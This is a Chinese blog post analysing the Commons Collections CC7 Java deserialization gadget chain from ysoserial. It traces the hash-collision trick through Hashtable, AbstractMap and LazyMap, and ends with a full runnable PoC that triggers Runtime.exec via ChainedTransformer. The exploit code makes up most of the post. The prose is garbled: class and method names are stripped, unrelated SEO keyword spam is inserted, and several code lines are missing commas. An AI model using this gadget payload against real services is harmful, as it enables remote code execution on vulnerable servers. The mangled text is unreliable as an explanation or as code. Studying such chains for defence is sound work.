好久没有分析CC链了,今天来把最后一个CC7分析一下(1-6可以到博客查看)。

首先看一下yso代码:

 1public Hashtable getObject(final String command) throws Exception {
2
3    // Reusing transformer chain and LazyMap gadgets from previous payloads
4    final String[] execArgs = new String[]{command};
5
6    final Transformer transformerChain = new ChainedTransformer(new Transformer[]{});
7
8    final Transformer[] transformers = new Transformer[]{
9        new ConstantTransformer(Runtime.class),
10        new InvokerTransformer("getMethod",
11            new Class[]{String.class, Class[].class},
12            new Object[]{"getRuntime"new Class[0]}),
13        new InvokerTransformer("invoke",
14            new Class[]{Object.classObject[].class},
15            new Object[]{nullnew Object[0]}),
16        new InvokerTransformer("exec",
17            new Class[]{String.class},
18            execArgs),
19        new ConstantTransformer(1)};
20
21    Map innerMap1 = new HashMap();
22    Map innerMap2 = new HashMap();
23
24    // Creating two LazyMaps with colliding hashes, in order to force element comparison during readObject
25    Map lazyMap1 = LazyMap.decorate(innerMap1, transformerChain);
26    lazyMap1.put("yy"1);
27
28    Map lazyMap2 = LazyMap.decorate(innerMap2, transformerChain);
29    lazyMap2.put("zZ"1);
30
31    // Use the colliding Maps as keys in Hashtable
32    Hashtable hashtable = new Hashtable();
33    hashtable.put(lazyMap1, 1);
34    hashtable.put(lazyMap2, 2);
35
36    Reflections.setFieldValue(transformerChain, "iTransformers", transformers);
37
38    // Needed to ensure hash collision after previous manipulations
39    lazyMap2.remove("yy");
40
41    return hashtable;
42}

之前说过CC链都是从任意类到的调用过程,CC7也不例外,所以只要知道入口点然后一步一步向下跟就可以了。

可以看到最后返回的对象是一个,说明是反序列化入口点。为了更好的理解调用过程,先来了解一下。

什么是哈希表

散列表(Hash table,也叫哈希表),是根据关键 码值(Key value)而直接进行访问的数据结构。也就是说,它通过把关键码值映射到表中一个位置来 访问记录,以加快查找的速度。这个映射函数叫做 散列函数,存放记录的数组叫做散列表。

哈希表是由数组+链表实现的——哈希表底层保存在一个数组中,数组的索引由哈希表的 key.() 经过计算得到, 数组的值是一个链表,所有哈希碰撞到相同索引的key-value,都会被链接到这个链表后面。

异或运算怎么算_异或java代码怎么写_java异或

入口

了解了哈希表之后接下来我们看一下入口代码:

这里只贴了关键代码

 1int elements = s.readInt();
2table = new Entry[length];
3count = 0;
4for (; elements > 0; elements--) {
5    @SuppressWarnings("unchecked")
6        K key = (K)s.readObject();
7    @SuppressWarnings("unchecked")
8        V value = (V)s.readObject();
9    // sync is eliminated for performance
10    reconstitutionPut(table, key, value);
11}

首先创建一个Entry,这是上文讲到的哈希表中的那个数组。

然后进入for循环读取key,value,然后调用方法。

.

 1private void reconstitutionPut(Entry[] tab, K key, V value)
2    throws StreamCorruptedException
3
{
4    if (value == null) {
5        throw new java.io.StreamCorruptedException();
6    }
7    // Makes sure the key is not already in the hashtable.
8    // This should not happen in deserialized version.
9    int hash = key.hashCode();
10    int index = (hash & 0x7FFFFFFF) % tab.length;
11    for (Entry e = tab[index] ; e != null ; e = e.next) {
12        if ((e.hash == hash) && e.key.equals(key)) {
13            throw new java.io.StreamCorruptedException();
14        }
15    }
16    // Creates the new entry.
17    @SuppressWarnings("unchecked")
18        Entry e = (Entry)tab[index];
19    tab[index] = new Entry(hash, key, value, e);
20    count++;
21}

可以看到首先通过key计算一个hash值,用这个值进行计算得到index。这个index就是前面创建的Entry数组的索引。

然后判断Entry当前索引处是否有对象,如果有对象的话判断两个对象是否相等。如果不相等的话则通过当前key的hash,以及key,value,和当前数组节点的Entry新建一个Entry挂入当前索引处。

而我们的目标是需要让Entry数组当前索引处的对象哈希与将要挂入的对象哈希一致,这样就会调用e.key.从而进入我们的调用链。

控制哈希(重点)

回过头看一下yso的代码,中有两个元素,而中封装的是一个,而中是一个Entry对象。

接下来我们跟一下计算的过程。

 1private void reconstitutionPut(Entry[] tab, K key, V value)
2    throws StreamCorruptedException
3
{
4    if (value == null) {
5        throw new java.io.StreamCorruptedException();
6    }
7    // Makes sure the key is not already in the hashtable.
8    // This should not happen in deserialized version.
9    int hash = key.hashCode();
10    int index = (hash & 0x7FFFFFFF) % tab.length;
11    for (Entry e = tab[index] ; e != null ; e = e.next) {
12        if ((e.hash == hash) && e.key.equals(key)) {
13            throw new java.io.StreamCorruptedException();
14        }
15    }
16    // Creates the new entry.
17    @SuppressWarnings("unchecked")
18        Entry e = (Entry)tab[index];
19    tab[index] = new Entry(hash, key, value, e);
20    count++;
21}

首先调用key.。这里的key就是对象。

但是类没有实现方法,所以要看一下他的父类(类)的实现:

1public int hashCode() {
2  return this.map.hashCode();
3}

可以看到类的调用了this.map.。而this.map是一个对象,继续跟进对象:

没有实现方法,继续跟进父类.:

1public int hashCode() {
2    int h = 0;
3    Iterator<Entry> i = entrySet().iterator();
4    while (i.hasNext())
5        h += i.next().hashCode();
6    return h;
7}

可以看到首先通过().();获取一个迭代器,然后通过迭代器循环调用元素的方法。

1transient Set<Map.Entry> entrySet;
2
3public Set<Map.Entry> entrySet() {
4   Set<Map.Entry> es;
5   return (es = entrySet) == null ? (entrySet = new EntrySet()) : es;
6

()返回的是一个Set,这个Set的元素是Map.Entry,Entry是一个接口,这个接口在中被Node类实现,继续看一下Node.方法:

1public final int hashCode() {
2    return Objects.hashCode(key) ^ Objects.hashCode(value);
3}

Node.方法如上,可以看到调用了.并将key,value当作参数传进去并且将他们的结果进行异或计算。

看一下.:

1public static int hashCode(Object o{
2   return o != null ? o.hashCode() : 0;
3}

可以看到.中只要参数不为null就调用参数的方法。

而当前中的key,value为类型。所以想要控制hash就要看一下和int类型的方法了:

.代码如下:

 1public int hashCode() {
2    int h = hash;
3    if (h == 0 && value.length > 0) {
4        char val[] = value;
5
6        for (int i = 0; i < value.length; i++) {
7            h = 31 * h + val[i];
8        }
9        hash = h;
10    }
11    return h;
12}

hash是一个类成员变量,代表该对象的hash值,默认为0。当第一次调用时该成员会被赋值,当以后在调用该方法时则直接返回hash变量。

而hash的计算方式就是将字符串除了最后一个字符其他的乘31后相加。

.代码如下:

1public int hashCode() {
2   return Integer.hashCode(value);
3}
4public static int hashCode(int value{
5   return value;
6}

很简单,直接返回自身。

到这里我们已经可以基本了解如何控制哈希了。

只要两个中的Key.()^value.()保持一致即可,CC7链的做法是通过控制key,也就是的,而始终为1,这样只要的hash一致那么最终的 .hash就一致。

但是更简单的办法是通过来控制最终的hash,因为.直接返回自身,所以与其控制的hash不如直接控制来的更方便。只要让的hash与key.保持一致,那么进行异或运算后最终结果就是0,这样我们可以随意设置key的值,比如这样:

1Map lazyMap1 = LazyMap.decorate(innerMap1, transformerChain);
2lazyMap1.put((short)1212);
3Map lazyMap2 = LazyMap.decorate(innerMap2, transformerChain);
4lazyMap2.put(new URL("http://www.baidu.com"), -588894355);

.

控制哈希相等后,就会进入.方法,因为没有实现方法所以调用了.方法,代码如下:

1public boolean equals(Object object) {
2    return object == this ? true : this.map.equals(object);
3}

.

可以看到.调用了this.map.,而当前的map是。因为没有实现方法所以调用父类()的方法,代码如下:

 1public boolean equals(Object o) {
2    if (o == this)
3        return true;
4
5    if (!(o instanceof Map))
6        return false;
7    Map m = (Map) o;
8    if (m.size() != size())
9        return false;
10
11    try {
12        Iterator<Entry> i = entrySet().iterator();
13        while (i.hasNext()) {
14            Entry e = i.next();
15            K key = e.getKey();
16            V value = e.getValue();
17            if (value == null) {
18                if (!(m.get(key)==null && m.containsKey(key)))
19                    return false;
20            } else {
21                if (!value.equals(m.get(key)))
22                    return false;
23            }
24        }
25    } catch (ClassCastException unused) {
26        return false;
27    } catch (NullPointerException unused) {
28        return false;
29    }
30
31    return true;
32}

从代码中可以看出java异或,首先判断参数是否是一个Map实例,如果不是则代表不相等返回false;然后判断Map的size是否一致,如果否则代表不相等返回false。

经过上面的判断后可以证明参数是一个Map并且长度一致,接下来就获取一个迭代器循环判断每个元素是否相等。

首先获取自身的key和value,然后判断自身的value是否为空,如果不为空则判断和目标参数value是否一致。判断value的时候就调用了.get来获取value。这时候将触发我们的调用链。

.get

从上面代码可以看到,在方法最后调用了.get方法,代码如下:

1public Object get(Object key) {
2    if (!this.map.containsKey(key)) {
3        Object value = this.factory.transform(key);
4        this.map.put(key, value);
5        return value;
6    } else {
7        return this.map.get(key);
8    }
9}

这时候我们要控制代码执行if语句块中的代码,所以this.map.一定要为false。所以两个中put的key不能一样。

1Map lazyMap1 = LazyMap.decorate(innerMap1, transformerChain);
2lazyMap1.put((short)1212);
3Map lazyMap2 = LazyMap.decorate(innerMap2, transformerChain);
4lazyMap2.put(new URL("http://www.baidu.com"), -588894355);

.

接下来就进入了this..(key)这个调用,而就是我们精心构造的命令执行的调用链。

这个调用链在每个CC链中都有用到,这里就不展开了。

最终POC

最后贴一下本地测试demo

 1public class demo1 {
2    public static void main(String[] args) throws Exception{
3        String command = "calc";
4        final String[] execArgs = new String[]{command};
5
6        final Transformer transformerChain = new ChainedTransformer(new Transformer[]{});
7
8        final Transformer[] transformers = new Transformer[]{
9                new ConstantTransformer(Runtime.class),
10                new InvokerTransformer("getMethod",
11                        new Class[]{String.class, Class[].class},
12                        new Object[]{"getRuntime"new Class[0]}),
13                new InvokerTransformer("invoke",
14                        new Class[]{Object.classObject[].class},
15                        new Object[]{nullnew Object[0]}),
16                new InvokerTransformer("exec",
17                        new Class[]{String.class},
18                        execArgs),
19                new ConstantTransformer(1)};
20
21        Map innerMap1 = new HashMap();
22        Map innerMap2 = new HashMap();
23
24        // Creating two LazyMaps with colliding hashes, in order to force element comparison during readObject
25        Map lazyMap1 = LazyMap.decorate(innerMap1, transformerChain);
26        lazyMap1.put((short)1212);
27        Map lazyMap2 = LazyMap.decorate(innerMap2, transformerChain);
28        lazyMap2.put(new URL("http://www.baidu.com"), -588894355);
29
30        // Use the colliding Maps as keys in Hashtable
31        Hashtable hashtable = new Hashtable();
32        hashtable.put(lazyMap1, 1);
33        hashtable.put(lazyMap2, 2);
34
35        setFieldValue(transformerChain, "iTransformers", transformers);
36
37        // Needed to ensure hash collision after previous manipulations
38        lazyMap2.remove((short)12);
39
40        ByteOutputStream bos = new ByteOutputStream();
41        ObjectOutputStream oos = new ObjectOutputStream(bos);
42        oos.writeObject(hashtable);
43
44        ByteInputStream bis = new ByteInputStream(bos.getBytes(),bos.getBytes().length);
45        ObjectInputStream ois = new ObjectInputStream(bis);
46        ois.readObject();
47
48
49    }
50    public static void setFieldValue(Object ob,String field,Object value) {
51        Field fd = null;
52        try{
53            fd = ob.getClass().getDeclaredField(field);
54            fd.setAccessible(true);
55        }
56        catch (Exception e)
57        {
58            try {
59                fd = ob.getClass().getField(field);
60            }catch (Exception es){
61                System.out.println(es);
62            }
63        }
64        try {
65            fd.set(ob,value);
66        }catch (Exception exc){
67            System.out.println(exc);
68        }
69
70    }
71}

调用链

1HashTable.readObject  
2HashTable.reconstitutionPut  
3AbstractMapDecorator.equals  
4AbstractMap.equals  
5LazyMap.get  
6ChainedTransformer.transform  

总结

总体来说这条链还是比较简单的java异或,从类到的链之前已经遇见好多次了。唯一不同的就是控制哈希这里,不过感觉还是相对简单的。

发表回复

您的邮箱地址不会被公开。 必填项已用 * 标注